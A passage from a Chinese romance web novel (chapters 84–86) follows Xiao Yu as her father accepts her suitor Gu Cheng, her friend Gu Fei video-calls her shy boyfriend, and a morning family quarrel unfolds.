顾程依旧诚意十足地道,“伯父,肖瑜的确单纯,但并非一无是处。她在我那里没多久,已经比同期的实习生出彩很多。有远见,识大体,顾全大局,任何工作安排都很负责。家教好,与人为善,品性纯良,连我妹妹跟她处久了,性子都稳下来不少。伯父,她是个宝,或许您还没发现她的好,但于我来说,是独一无二,势在必得的。”
肖远舟没立刻接话,稳当当吹了吹茶,抿一口,心里却把这跟自己玩心眼的狐狸后生骂了个底儿掉。
他家的宝贝疙瘩,当然不会一无是处,他当然知道有多好。可这话他要是接了,不用想他就知道,
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这小子下一句就该说‘您看,您也知道她好。这么好的老婆,我要是错过了岂不是亏了?’之类的。
可要是跟他反着来,但凡他应一句自家闺女没那么好,这臭小子十有八九会说,‘我不嫌弃我愿意’,反而还没怎么着就让自家宝贝处了劣势。更何况,他肖远舟眼里,宝贝女儿压根儿就没缺点,断不可能反驳这些夸赞。
于是肖远舟放下茶杯,低头看了眼表,“去吃早餐吧。你今天忙吗?”
话锋急转,顾程毫不在意,很利落地起了身,抬手道,“您过来了,再忙的事儿也得放一放。请。”
路上二人正儿八经谈着合作的事,仿佛方才关于肖瑜的话题压根没起过。直待步入餐厅看到翘头向这边张望着的小姑娘,顾程才顿住脚步,遥遥看着她的笑脸轻叹道,“肖总,跟您说话,心可真累。”
肖远舟挑了下眉,“彼此彼此。”
“所以您应该理解,为什么我会想娶令嫒。”顾程遥遥朝肖瑜点了下头,正色道,“在她面前,我很放松,心脑都会健康不少。她跟我在一起,也比曾经开心。伯父,我可能不会风花雪月玩浪漫,但一定可以给她一个稳定的婚姻。您知道我第一次见肖瑜,就是她二十一岁生日那天,她看起来多可怜吗?”
肖远舟的眉心起了皱,停下脚步看着他。
“那天下着雪,我记得……是初雪。她一个人,孤零零地提着自己给自己买的蛋糕,浑身都被雪水打湿了……”顾程依旧看着肖瑜,笑意很浅,却很温柔,“脸色苍白,唇无血色,我后来才知道,她那天又被姜昊伤透了心。后来再遇着,更惨,两只眼睛肿得像核桃,人都瘦了两圈。我愣是一眼没认出她来,跟个失了魂的女鬼似的,惨不忍睹。那时候我还以为,这姑娘怕不是个林妹妹,一天到晚就知道哭。还是后来我俩谈了之后才发现,原来她其实那么爱笑。”
肖远舟的脸色已经不能用难看来形容。他看向不明所以一直瞅着这边的闺女,目光在她有点忐忑又压不住笑意的小脸上顿住,心头疼得发紧。
沉默许久,他终是低叹一声松了口,“以后,别让她再哭了。用完早餐,带我去华驰参观一下。”
*
肖远舟显是有备而来,与他同行的除了助理秘书,还有技术部核心骨干。简短的碰头安排后,一行人直奔东区雪地胎基地,开始了正式合作前的第一次官方接触。
肖瑜没有同去,而是被专车送回了泽鼎。
十几天未曾回来,一进家门看到萌萌的团团,她喜不自禁地抱起小家伙好一顿揉,这才收拾收拾,赶在下班前去了单位销假。
远洲的到访早已在华驰掀起热议,人人都期待不已。刘娜和总部总经理及以上职位的领导,在一场临时会议过后,浩浩荡荡去了酒店,为夜来的宴请筹备。
肖瑜给燕北北打了个电话,原本是告诉她自己回了泽城,想约着下班一起吃个饭。可听闻她晚上居然也要出席公司宴会,她不由为闺蜜喜上眉梢,“北北,你这是要升职了吗?”
“嗯哼,大概率要借你的东风平地青云啦。”燕北北声音很小,像是刻意在角落里说悄悄话,“前几天我师傅还问我,想不想调去市场部,说老总跟他提过,我这个性格适合外拓。我原本想着等你回来了商量一下,结果今晚就被市场部秦总给叫过来,要开始历练了。哎呀小鱼儿,你说我晚上要是喝醉了,会不会把人家远洲的老总给乱了呀?”
肖瑜满额黑线,正打算给这个口嗨无禁忌的家伙敲敲警钟,却听到燕北北忽而吃惊地说道,“小鱼儿!你猜我看到谁了??你爸爸居然也来了?对哦!远洲就是舟城的。他是远洲的高管吗?哎呀,你哥哥也在!”
84. 第 84 章
第八十四章
“远洲老总你可不能乱,那是我爸。”肖瑜捂嘴偷笑着给燕北北紧了皮,悄声道,“你乖一点,我爸爸见到你,肯定会再助你一臂之力的。”
燕北北显然震惊了,好半天才喃喃道,“我的个老天奶,怪不得上回顾总去你家的时候,礼数那么周全……小鱼儿,以前小人有得罪的地方,您大人有大量,千万甭跟我计较!”
“去你的。”肖瑜被她逗得不行,小声道,“燕总加油!”
*
调岗之后,肖瑜还是第一次坐到新工位。
如今她跟顾程的恋情已经彻底公开,总裁办的几位前辈自然对她照顾有加,态度和善,分过来的工作也十分简单,贴票提流程,文件下发前核对文字。偶尔不小心撞上几道好奇的目光,她也不躲,只是弯眸看回去,回一个友好的笑。
下班时她给顾程发了个微信:【你照顾一下我爸和我哥,晚上都少喝点好吗?我销过假了,现在回家。】
临进家门时,接到他回过来的信息:【今晚去我那儿。不过我会很晚,你先睡。】
肖瑜一下子想到了在香港的那一日一夜,脸悄悄红了:【今晚不行,我身体还不方便。】
【没关系,只是抱着你睡。】
短短几个字的对话,却让心里漾起一圈圈甜蜜的涟漪。她输了密码进屋,听到厨房传来的声响,愣怔片刻才想起来,出差前就已经请了赵阿姨在家里帮忙。
赵阿姨听到声音从厨房里走出来,也愣了一下,继而慈爱地笑道,“肖小姐回来了。晚上熬了鸡汤,还有几道小菜,你稍等一下,半小时后就好。”
“辛苦您了。”肖瑜换好鞋子,来到厨房好奇地问,“菲菲最近吃您做的饭,习惯吗?”
她记得顾程说过,因为顾菲小时候不吃阿姨们做的饭菜,他才会学习了一些简单的菜式,也不知道如今是不是还是这个习惯。
“顾小姐比较讲究,起初的确可能做得不太合她口味,不过……”赵阿姨朝冰箱上的便签扬了扬下巴,边洗菜,边笑道,“最近几天,应该是适应了,还会专门给我留言,让我按照她的喜好挑选食材备菜。”
肖瑜循着她的目光走向冰箱,上面按照日期整整齐齐贴了七八张便签,每天都有汤和两道菜,量不大,但都很营养。
她笑着看了半天,跟赵阿姨交代一声,便换了居家服去找团团玩。
小家伙长得很快,不知道是赵阿姨照顾得好,还是顾菲照顾得好,渐进金油光发亮,宽宽的脸看起来也肉乎了不少,尽管跟她还有些陌生,不过被她拿着小滚球逗了逗,不多时便又可以乖乖躺在她的腿上,让她挠下巴。
岁月静好的日子又恢复过来,肖瑜逗了会儿猫正打算先去回顾旧文,赵阿姨过来拉开阳台的门,已经换好了衣服,“肖小姐,饭菜都给你盛好了,那我就先回去了。明天上午我会过来打扫,晚饭顾小姐周五不在这里用,你呢?晚饭需要在家里吃吗?”
“明天晚上我也不在家吃,您休息吧,不用过来了。”想到明天晚上就要去见顾程的父母,肖瑜笑了笑,又有些不解地问道,“您不在这里一起吃吗?待会儿您回去了还是得吃饭的啊。”
“家里人还等着我回去一起。”赵阿姨很客气地说道,“碗筷放着就好,我明天会来收拾。”
“那好吧,您路上小心。”
赵阿姨很细心,除了给她盛好的饭菜,顾菲的那一份还热乎乎放在厨房里。肖瑜看着色泽鲜艳的菜肴和鸡汤,很有兴致地拍了照,发给了妈妈。
穆青华立刻打来了视频,很欣喜地问,“乖宝,这是顾程请来那位阿姨做的?真好,妈妈也怕你平时在外边吃饭多了,工业用料太多对身体不好。”
“嗯,味道也不错呢。”肖瑜把手机放在支架上,喝了口汤,很满足地对着镜头笑,“所以妈妈,您就放心吧。”
“要是阿姨做的饭菜合口,平时就对人家再好点,等将来你们结了婚,还让这个阿姨去照顾,习惯上比较好适应。”穆青华说着,轻叹一声,有点怅然,“之前想你早点找个男朋友,能好好照顾你。可这马上就要嫁人了,妈妈还真是舍不得。”
“哪有那么快啊。”肖瑜不好意思地放下了汤勺,可可爱爱对着妈妈撒娇,“我都还没毕业呢。妈妈,就算以后嫁人了,我还是会经常回家陪你的。”
“嗯,左右两个多小时车程,也不算远嫁。”穆青华还是心疼地瞅着她,叮嘱道,“吃完早点睡吧,一大早就出门,怪累的。你这回例假有点早,真的不疼吗?”
“嗯。”肖瑜点点头,“已经干净了,再喝点鸡汤,暖暖的,很舒服。”她正说着,传来开门的声音,继而是顾菲惊喜的大嗓门,“小鱼儿你回来啦?!”
在家这几天,肖瑜跟妈妈聊了很多事,包括燕北北为什么搬出去,顾菲又怎么会搬进来。隔着视频听到这高亢的声线,穆青华也跟着笑了,匆匆叮嘱两句便挂了视频,把时间留给了年轻人。
顾菲欢快地跑过来,可看到桌上的饭菜,却顿时心疼地蹙了眉,“你没在外边吃过晚饭吗?怎么把赵阿姨做的给吃了呀?”
肖瑜莫名其妙地看看饭菜,又看向她,“有毒吗?为什么不能吃?”
顾菲被她这么一怼,撇着嘴坐下来,转了转眼珠,“我请你出去吃饭好吗?你也就是喝了口汤,别的菜不要再动了。”
“……”肖瑜无语地看了她一眼,“理由?”
难得顾菲有点不好意思地红了脸,好半天,才扭捏地说道,“我明天要把饭菜带去单位,跟阿J一起吃。”
“明天才吃,那不成了剩饭吗?”肖瑜越发奇怪地蹙了眉,“而且你们单位没有食堂吗?为什么要带剩饭过去啊?”
“你要是不吃,那不就不算剩饭了吗?”顾菲悄咪咪把碗筷推开一些,嬉皮笑脸地说道,“这些都是阿J喜欢的家常菜,我费了好大心思才写出来的菜单呢。小鱼儿你最好啦,别吃,我现在就给你点外卖。”
肖瑜翻了下眼睛,快速拿起筷子夹了口笋片烧肉,三两口咽了,得意地看着她笑,“蔬菜隔夜不好,别祸祸你男朋友。”
顾菲幽怨地瞪着她,“你跟我哥蜜里调油,我这刚立上贤妻人设,就不能让我装装吗?讨厌。”
“贤妻?”肖瑜好奇地瞅着她,“你俩真的和好啦?那之前的事也都解释清楚了?他现在不觉得你不尊重他了吗?”
眼见顾菲噘着嘴,还是满脸心疼地瞅着被她动过的菜,她安慰地揉了揉她的肩,哄道,“好啦,不逗你了,赵阿姨专门把你那份留着呢,你明天继续带去跟男朋友分享啊。”
“这还差不多。”顾菲终于笑了,支着下巴看着她吃饭,欢快地说道,“上回因为我哥收拾阿K那事儿,他专门来找我,我也是那会儿才知道,其实他觉得我不尊重他,并不只是因为送车。”
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“哦?那是为什么?”
“因为我送完车,要带他去酒店啊。”顾菲无奈地翻了下眼睛,叹气道,“他说当时觉得,我就是想用一辆车买他的初夜,渣得要命。天可怜见的,我跟他好了那么久,也就摸过小手亲过几次,连初吻都是给了他的。喊他去酒店,是因为我在酒店给他布置了生日趴啊!再说我家里别的都可以任我玩,玩到床上却是万万不行的。怎么到他那儿就成了会花钱买男人初夜的渣女呢!”
肖瑜很惊讶地看着她,“所以……你还,还是处啊?!”
顾菲不乐意了,挤着眉瞪她,“怎么我看起来很风流吗?”
肖瑜沉默地看着她,好一会儿,才噗嗤一笑,“你跟北北讨论起来男女的事,看起来比她还有经验。原来也只是个口嗨的家伙。那你之前去会所点男模做什么?就只是看吗?”
“人家赚的就是色相钱,我那是照顾别人生意啊。”顾菲理直气壮地说,“看一看摸一摸,是正经消费。我可从来不动嘴,更不会让他们碰我。”
“啧。”肖瑜咂舌道,“你还真的摸过啊?你们家阿J知道吗?”
“哎你还是不是我姐妹?那都以前的事儿了,当然不能让他知道啊,连我哥也不能说。”顾菲翻了下眼睛,起身哼了哼,“不跟你说了,我刚才外边吃过饭了,现在要赶紧洗洗澡去陪我们家小可爱加班了,别打扰我哦。”
“你等等。”肖瑜连忙拉住她,“你晚上还要出去?你哥知道吗?”
“是视频。”顾菲晃着脑袋挑挑眉,眯弯了眼睛,“我早就从良了,是玩着电脑远程陪他加班。”
“那我能偷偷看看他吗?”肖瑜简直要好奇死了,拉住她的胳膊不撒手,星星眼,“偷偷的,看看你家小可爱有多可爱?”
“……”顾菲傲娇地仰起头,“不许出声哦,他很害羞。也不许心动!”
*
好容易等到顾菲洗完澡,她还匆匆又化了个无痕妆,这才换了套居家服,挺胸收腹地坐在了电脑前。
肖瑜早就搬来了小板凳,抱着团团坐在机箱一侧,翘着头期待地看着显示器。
顾菲被她这阵仗闹得都有点不好意思了,先拿摄像头测试了一下,确定肖瑜不会出现在镜头里,才拢拢头发,拨打了视频。
屏幕上先是出现了一只手,肤色冷白,骨节分明,干干净净没有任何装饰,却让人看得忍不住咽口水。
肖瑜的脖子直了起来,越发认真地盯着屏幕。
对方调整了一下摄像头,镜头晃了几下,紧跟着,她的脑海里‘初恋脸’这几个字,便有了具象的勾画。
少年感十足的男人,在看向屏幕的刹那,星眸里溢出浅浅笑意。唇不点而朱,眼下有卧蚕,最难得是嘴角几分含蓄的笑,如春风化雨,看起来温柔又不失阳光。
肖瑜不禁暗暗赞叹,顾菲的眼光真心没话说,这个阿J,完全具备原地出道的资本!
“啧,女朋友又陪加班啊……你小子现在天天公然撒狗粮,不怕遭报应第一个谢顶吗?”
“就是!菲菲,华哥已经开始脱发了,你别看阿J现在还是个美少年,再熬两年肯定没我这种普男耐看。要不咱还是换换人,你看我,铁定比他抗岁月啊!哈哈……”
身侧传来几个男人的说笑声,阿J压根就没搭理他们,拿起耳机套在头上,看向屏幕,声音是与初恋脸反差感极强的醇厚,“吃饭了吗?”
85. 第 85 章
第八十五章
“嗯。”顾菲忍不住先偷眼看了看左后方,待见肖瑜激动地朝她竖了个大拇指,她难掩自豪地看着屏幕,点点头,“你忙你的,不用管我,我看着你就行。”
“刚才华哥说这个项目结束后,要请AB组去景山放松几天。”阿J也点了下头,目光从镜头上挪开一些,手臂也开始微有动作,似乎继续着工作,声音却没停,“你想去吗?”
“好啊。”顾菲毫不犹豫地点头,“虽然我不是AB组的,不过没所谓,你去我就去。你把行程提前告诉我,我到时候直接杀过去。”
阿J手上的动作顿了一下,视线再度看向摄像头,轻咳一声,“华哥说,可以带家属。”
顾菲一愣,一贯嚣张的神色被娇羞取代,特别是又偷瞄了眼肖瑜,因她激动又八卦的眼神,声线都软了几分,“谁是你家属啊?不害臊。”
“女朋友也算。所以你是跟我去,还是自己去?”
“有区别吗?”
“女朋友订双人间,你自己去,就订两间。”
“讨厌,人家要想想。”
“现在就决定,今晚报人数。”
“讨厌……那订双人间吧。”
“嗯。我静音了。有事震我。”
阿J又看了屏幕一眼,这才噙着笑继续投入到自己的工作中。
顾菲也静了音,却没点开游戏,脸颊微红地凝视着他,也不知道在想什么。
“菲菲。”肖瑜轻轻扯了下她的衣角,“阿J的确太漂亮了,怪不得你这么喜欢。他性格怎么样?”
“当然很好啦。”顾菲又盯着屏幕看了会儿,见阿J已经彻底沉浸在工作中,她悄悄转头说道,“他很温柔也很绅士,不过那只是对我哦,别的女孩子他看都不看的,因为他有点社恐。”
“啊?”肖瑜惊讶地又看了眼屏幕上的男人,不解道,“可刚才他跟同事说话,还有跟你讲话的时候,没觉得社恐啊。”
“那是你还不了解他。”顾菲得意地说,“他长得太漂亮了,从小到大身边的人总是忍不住掐他脸蛋,摸他小手。青春期开始他就很不喜欢跟别人讲话,疏离得很。他们办公室只有三个人,处了一年多才能到现在这种打哈哈聊天的地步。他在公司也只跟这两个大哥还有阿K和大Boss华哥说话。你都不知道当初为了追他,我多上心,处心积虑地制造偶遇,就那还一天天端着个大黑脸不搭理我。要不是后来我专门找人堵他,上演了一出女版英雄救美……”
“菲菲,你在跟谁讲话?”
音响里突然传来阿J的声音,顾菲惊地抖了一下,连忙转头说道,“跟团团。”
“你还静着麦。”阿J蹙眉看着她,五官在屏幕上放大,“你屋里有人?”
“是团团。”顾菲开了麦一边说,一边抬手过来接着团团,死命朝肖瑜使眼色。
肖瑜连忙端着小板凳悄咪咪往角落里蹭了蹭。
顾菲再回头,已经把团团抱在怀里,故作不满地揪了揪团团的耳朵,抱怨道,“看我没工夫收拾它,把我衣服上滚得都是毛,我正给它训话呢。对了阿J,你还记得我跟你说过我有个室友吗?就是阿K那个假的女朋友。”
“嗯。”看到团团,阿J这才又坐回了原先的位置,可眼睛里还是有些微的警惕,“你哥的女朋友?”
“对,我未来嫂子。她跟我哥快订婚了,明天去我家里见爸妈。”顾菲转了下眼珠,“哪天咱们叫上阿K,跟我嫂子一起吃个饭吧?她说想见见你。”
阿J的表情一下就僵了,跟着居然不知打哪儿摸出来一只口罩,直接就遮住了大半张脸,声音也被捂得变了调,“所以你嫂子现在在你房间?她……她正在看我?!”
“没有,你没做好准备之前,我肯定不会又瞒着你给别人看啊。”顾菲老神在在地扯着谎,压根没看瞠目结舌的肖瑜,一手稳稳地揪着团团跟阿J说着话,另一只手伸在背后,朝房门的方向指。
肖瑜还不知所以,就听顾菲又跟阿J说,“你别怕嘛,我屋里真的没别人,不信我把摄像头拿起来转一圈给你看啊……”
她背后的那只手,痉挛一样快速朝着房门戳。
肖瑜立刻会意,顺着她所指的方向,匍匐着爬出了房门。
*
【姐妹,还好你跑得快,不然我得开夜车过去哄人了。】
几分钟后打开电脑上了微信,顾菲已经发了好几个冷汗表情图。
肖瑜想起刚才自己像个奸/夫一样爬出门的样子,简直乐不可支:【你们家小可爱也太可爱了,怎么那么怕见人啊?他以前不是还出去打过工吗?】
【口罩,黑框镜,鸭舌帽。长那么好看都不肯去前台做画展讲解,做家教也只教小学男生,乖得很。你都不知道他出学校一趟,身上要冒多少冷汗,所以我才想着送辆车让他别那么难受啊。现在想想,那时候他真的对我很好很好,因为我,做了很多挑战自己的事情。不过我当时不知道他真的这么怕见人,总是逼着他跟我朋友一起玩,所以才经常吵架。哎,我好后悔,我们家小可爱就适合待在家里,被我一个人强制爱。】
另类的爱情,让肖瑜的小说灵感疯狂上涌,快速打着字深挖:【那顾总见过他吗?他见你家人的时候也这么慌吗?啊,对了,他这个类型,赵成杰完全比不了啊。你当时怎么会看上赵成杰呢?】
燕北北也是个吃颜的,所以赵成杰本身个子高五官也很耐看,抛开渣男的本质不说,的确风度翩翩斯文儒雅。可跟这个阿J比起来,可谓云泥之别。
【姓赵的算个什么东西啊,我答应他,是因为他是阿J在游戏里的固定奶妈!我就是故意气阿J的。那天我哥刚好在附近有事,所以我才顺便约了一下,是为了晚上打游戏的时候,让他在里面炫耀几句,把阿J给气死!不过还好没成功,不然小可爱要追不回来了,哈哈哈,也不会认识你和北北了。】
怪不得。
缘份这东西,奇妙得很。
肖瑜正想再多问几句,顾菲又快速打来几行字:【等他忙完我再跟你面谈,别打扰我!】
肖瑜:【有异性没人性。把团团放出来,我要它陪我写小说,它是你哥送给我的!】
*
十点的时候,菲菲才从房间出来,肖瑜也更完了文,正搂着团团抱着牛奶杯捉虫。
“小可爱哄好了,下周三晚上请你跟阿K吃饭,还有北北,让你们正式见见。”
简承贤他俩的事情,在家的时候,肖瑜跟他打过招呼,穆青华也已经知会了简家,只说两个孩子性格不是很适合,以后还做朋友。
肖瑜想了一下,点点头,“不过我得先跟你哥说一声,他以前说过不让我跟阿K出去玩的。现在情况不同了,应该问题不大。”
“小鱼儿,抛开我哥是我哥不说,你这有点太夫管严了吧?”顾菲一听就皱了眉,“难道恋爱了,你就打算完全抛开自己的社交了吗?什么都得男朋友说了算?”
“只是跟他报个备,避免误会啊。”肖瑜不以为意地道,“个人社交还是要有的,但是他既然以前说过,比较在意,那我觉得还是提前交代一下比较负责任。因为我也希望他以后以同样的方式对待我,所以这是相互的。”
“嘁。”顾菲还是不怎么认同,“你就是个包子。不过嫂子是包子我还是很赞成的。”
“去你的,你才是包子。”肖瑜想起这个词汇在她和顾程之间的特殊意义,脸红红地翻了她一眼,“菲菲,你有顾总大学时代的照片吗?”
“我哥?”顾菲想了想,点点头,“有啊,他楼上就有,书房里有很多大学那会儿的照片。各种活动的,还有
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颁奖仪式的。我哥大学那会儿超多人追的,可也就跟舒……”她及时刹车,赶紧转了话头,“家里还有我哥从出生到毕业的相册呢,明天你去找我妈要,她肯定会拉着你唠叨一晚上。”
“其实你哥哥跟舒曼没什么的。”肖瑜明白顾菲突然转口,是怕自己心里不舒服,她简单把顾程所说的契约恋爱讲了讲,果然见顾菲也惊讶地瞪大了眼睛,“我哥这也太能装了吧,连我都没看出来。不过要说也是,舒曼姐也来我哥这儿住过挺多次了,每回她回国,我哥都会让我过来打几天秋风,我还以为是舒曼姐喜欢我,专门请我过来玩呢,敢情是一直防着她爬床啊。”
“也不至于吧。”肖瑜被她说乐了,抚着团团笑道,“真要是想爬,你在家也挡不住。其实我觉得舒曼应该不是那种,会通过上床来征服男人的女人。这几次见面,她虽然有意无意都会表现出点暧昧,但是又好像很有边界感的样子,除了主动扑到顾总怀里那次。”
“那可不。”顾菲坏笑着掐了下她的胳膊,揶揄道,“你不就当着我面,把我哥给拐床上去了?虽说没成功。”
“讨厌,那不是意外吗?”肖瑜横了她一眼,不好意思地说道,“我以前真不知道自己酒品会那么差。不过菲菲,偶尔喝点酒还是很舒服的。顾总现在经常会陪我喝点香槟和红酒,我现在也能喝一点了。”
“那我们来点儿啊?”顾菲立刻开心地去拿了瓶酒,免去了醒酒的步骤,直接哐哐倒了两大杯,“西拉子,我最喜欢的品种。哎,那我哥有没有跟你说过,其实舒曼姐家很复杂的。卉妆你知道吧?那就是他们家的。”
肖瑜有点惊讶,“卉妆?是南城的那个牌子吗?传承百年的老牌洗护品?这几年随着国货热兴起,内宣很厉害的。”
“嗯。原本舒曼姐是唯一继承人,可是半路杀出来个私生子,比她还大两岁,据说是秦老初恋白月光给生的。在舒曼姐的爷爷过世后,直接就接回了家里,继承了一大半的产业。如今秦家更是二女共侍一夫,正牌秦夫人,也就是舒曼姐的妈妈,一直以休养为由深居内宅,平素里外边的应酬,都是那个私生子的妈妈陪着秦老参加的。所以舒曼姐一怒之下登报声明跟秦老断绝父女关系,当年可是闹得沸沸扬扬,举国皆知的。哎,对了!”
顾菲一气儿说完,累得大灌一口酒,这才又慢悠悠继续道,“怪不得她会通过契约恋爱跟我哥要交换生的名额,她就是快大学毕业的时候,登的报。”
“舒曼性格这么烈的啊。”肖瑜感慨地说道,“其实之前几次接触,我总觉得她跟顾总很像,说不上来具体哪儿像,就好像是个女版的顾总。”
“目的性强,而且说话都是九曲十八弯,滴水不漏呗。”顾菲不以为然地挑了下眉,跟她碰了个酒,“他俩在一起,聊得最多就是生意,我哥也的确挺欣赏她的,可现在越想越觉得没什么恋人的感觉。哎,我哥你俩真这么快就要订婚啦?他年纪在那儿摆着倒是好理解,你呢?真不觉得我哥闷?”
“他很好啊。”肖瑜也喝了大半杯红酒,弯着眼眸细细回想跟顾程相识以来的点滴,嗓音越发柔软,“有时候,的确挺霸道的,可有时候又很可爱。你知道吗?上回为了哄我,他还专门设计了一个霸总壁咚流程,还要给我送包送不限额的卡,就因为我说那是小说里霸总哄人的必备三件套,哈哈,可爱死了。”
“哈哈,没错,是我哥的风格。”顾菲也乐不可支地笑出了声,“他打小就跟个机器人似的,什么事都喜欢按流程来。你们俩……”
她正打算继续八卦,肖瑜的闹钟响了起来,十点二十,是她平素洗漱上床的时间。
“菲菲……”肖瑜转头看了眼侧上方的阳台,抿了口酒,“我……顾总今晚跟我爸谈生意,应该会喝酒。我得上楼去照顾他,你明天早上……要不上去一起吃早饭?”
86. 第 86 章
第八十六章
顾菲一时没反应过来,端着酒杯愣了愣,啪地就把酒杯放茶几上,“你真把我哥给睡了?什么时候?在香港那几天吗?!”
“那我们都打算订婚了啊……”肖瑜的脸噌一下红了,掩饰般灌下了杯里剩下的红酒,硬着头皮说道,“你别学我,等你跟阿J也打算结婚才可以验货。”
“小嫂子,你这就操上管小姑子的心了?”顾菲又是一脸坏笑,勾着她的腰,不怀好意地问,“我哥是不是很强?一晚上几次?一次多久?你爽不爽?”
“讨厌,这是能跟你说的吗?”肖瑜拍开她的咸猪手,脸都烧得发烫,“不理你了,我去给他泡柠蜜。你早点睡,明天早上过来吃饭。”
“哈哈,不好意思了还?我的天啊,我妈可算能放心了,想不到我顾菲都快有小侄子了,哈哈……”
“去你的……”
*
顾程的房间,一直都很整洁。许是打扫的阿姨尽职,也可能是他平素里在家的时间少。再次来到卧室里,半人高的佩奇依旧杵在床畔的沙发上,偷眼看着她笑。除了床单被罩跟之前的不一样,并没有任何不同。
肖瑜钻在被窝里,想起第一次清醒地跟他在这里过夜,抱在一起纯纯地睡着又转醒,唇角浮起甜甜的笑意。
半睡半醒间,小夜灯悄然熄灭。
清爽的沐浴露香气中,有温柔的手臂环来,将她拢住。她寻着温暖的体温,抱住他探来身前的手臂,迷迷糊糊哼了哼,“回来了?”
“嗯。”他低应一声,火热的掌心已覆上她的心口,温柔的吻在一片轻浅的酒气中,落在她耳畔,令她忍不住缩了下脖子。
“我给你泡了柠蜜……”肖瑜困得不想睁眼,歪头躲着他的撩拨,呢喃道,“你喝吗?我去给你热……”
“喝过了。”他声音很轻很轻,似乎怕吵着她,却又难抑亲近的冲动,埋头在她颈窝,一遍遍去啄她体香诱人的肌肤,呼吸都跟她缠在了一起,“还有几天?”
“什么?”肖瑜的鼻音很重,比平素柔软的声线多了几分娇憨,“大姨妈?已经干净了,不过……”
男人的唇直接就覆了上来,仿佛突然解了禁令,温柔又汹涌。入骨的思念乘着欲念,在薄被下悄然掀起翻滚的情潮。
“不过……唔……安全,安全措施……”
“嗯……”
*
“哥!嫂子!我来吃早饭了,你俩穿好衣服再出来!千万别少儿不宜啊~~~”
一大早,寂静无声的客厅里,顾菲扯着嗓子刚喊完,就见顾程从偏厅的洗浴间走出来,瞥了眼自己的卧室,比出噤声的手势,“别叫,她还在睡。”
顾菲鼻孔朝天看着他,哼了一声,“平时怎么教育我的?嗯?自己怎么就婚前同居了呢?这就是你给我立的榜样?”
顾程心情不错,抬手在她脑门上敲了一下,淡淡笑着走向厨房,“热巧?”
“嗯。”顾菲小尾巴一样跟过来,转着眼珠说,“哥,找时间,我带你见见阿J啊?”
“哪个阿J?那个社恐小白脸?”顾程探手拿了拉花缸,漫不经心地道,“菲菲,好马不吃回头草。当初既然会分手,必然是因为不合适。”
“这年头,谁没事儿还不分个手玩玩的啊。”顾菲撇了下嘴,靠在水池边懒散地应道,“就肖瑜那个包子脾气,之前不还跟你闹过分手吗?你不也回头了?哥……”
“以后对肖瑜尊重点,别让我说第三遍。”顾程皱了眉,嗓音里已略有不满,“她脾气好,不代表你说话就可以这么随意。你对她的态度,在外人眼中,一定程度上也代表家里对她的态度。懂?”
“那她先是我闺蜜的嘛……”顾菲识相地点了点头,又凑过来好声好气地问,“哥,真的,找时间正式见一下阿J行吗?你同意了,他才敢去家里见爸妈啊。”
顾程停下正在倒牛奶的手,转身道,“你认真的?”
“嗯。”顾菲在他的凝视下,有丝胆怯地握了握手指,继而抬起头很认真地说,“我知道你看不上他,觉得他懦弱胆小。但是哥,他愿意为了我尝试挑战自己,我也应该为他做些努力,让他明白我不是随便玩玩,我能给他安全感。他虽然不是个善于社交的男人,可每个人都有自己擅长的事情,他的美工设计和创造力,是有目共睹的。而且AZ这几年发展势头很猛,将来如果上市,他作为创建元老,手握原始股,同样未来可期。”
顾程没说话,只是微微蹙眉眯了眸。
“我知道他家里情况很普通,就算将来公司上市,也不过蚊子肉,跟我算不上门当户对。”顾菲咬了下唇,声音弱了几分,“可是哥,咱们家有你就行了,爸妈又不需要上门女婿帮你打理家业。其实阿J除了不喜欢社交,其他方面真的……都挺好的。”
“我和爸妈从没想过让你,或者你的小家庭分担责任。你平安,幸福,就是二老跟我所求的。”顾程见她越说声音越小,甚至脸上还渐渐生出委屈之色,他低叹一声摸了摸她的头,“菲菲,他是单亲家庭,那个律师母亲,性格很强势。他会养成这样的性格,跟原生家庭脱不了关系。哥哥是怕你将来跟了他,会受委屈。”
“可是不试一试,又怎么知道呢?”顾菲扁了扁嘴,“他已经很努力地在摆脱母亲带来的影响了,原本家里已经给他安排了工作,可他还是坚持留在了泽城。时间和距离会慢慢治愈一个人,而且还有我呢,不是吗?”
“原生家庭带来的影响,哪里那么容易消除。”顾程摇了摇头,转身继续打着咖啡,“你看上的只是他的外在,治愈他的同时,消耗的是你大量的心力和精力,甚至可能会让你也变得面目全非。菲菲,喜欢可以再处一段,不用太正式。新鲜感过去你就不会这么执着了,你的另一半,至少要来自一个正常健康的家庭。”
“你还当我是在玩吗?”顾菲再度硬起了脖子,嗓门也大了起来,“哥,那你跟肖瑜呢?你们在一起才多久,你就能确定你们俩能好好过一辈子吗?她喜欢那个男人喜欢了六七年,还不是说放下就放下,转头就跟你好了?为什么你们就可以谈婚论嫁,到我这里就成了只有新鲜感呢?
“谁谈恋爱不会受点委屈的?就因为她家世配得上你,所以你就觉得你们是天作之合了?就可以无视她对别人抛心挖肺的过去吗?你敢保证以后想起来不膈应,不觉得委屈,不会跟她闹吗?你敢保证她对你就不是新鲜感,过段时间还稀罕你吗?难道就不会是为了治愈上一段感情,暂时移情到你身上而已吗?难道你以为……”
“顾菲!”顾程低斥一声转过头来,目光在怔怔立在厨房门口的肖瑜脸上顿了顿,冷声道,“菲菲,自己去楼下吃早餐。”
“我不!”顾菲还不知道身后有人,跺着脚喊,“从小到大你们都没人理会我心里真正的想法,除了给钱就是给钱。小时候你总说我不听话,不好好在家吃饭。可我为什么不爱吃阿姨做的饭?因为当我接受了她们的照顾,你就会自己一个人去看书去做车模,不搭理我,爸妈也会以为我什么需求都没有,不理我。只有我不好好吃饭,你们怕我饿着,才会多花时间陪陪我!如今我有了真心喜欢的人,你还非觉得是……”
她还在声嘶力竭地喊,顾程已绕过她,快走几步一把拉住转了身的肖瑜,“你去哪儿?”
“我不知道你们在吵架……”肖瑜咬了下唇,抬眸看一眼面色发白看向自己的顾菲,环起他的腰抱了抱,“我只是想抱抱你,给你一个早安吻。不过没关系,我回家换衣服,等会儿直接去食堂吃饭,你们先处理家事。”
“没关系,你可以留下。菲菲她……”顾程顿了一下,揽住她的肩往回拥,“她向来说话不过脑子,你不要往心里去。”
“可我想去食堂吃饭。”肖瑜没有随着他的动作挪脚,她轻轻拉下他的手,扯了扯唇角,“我就是……我真的需要先走开一会儿。”
想笑又笑不出来的样子,看得人心头发紧。
顾程沉默地看了看顾菲,点头,“待会儿公司见。”
“嗯。”
“小鱼儿!”见她扭头转了身,顾菲连忙上来拉住她,咬了下唇,“我没有别的意思。我不是……”
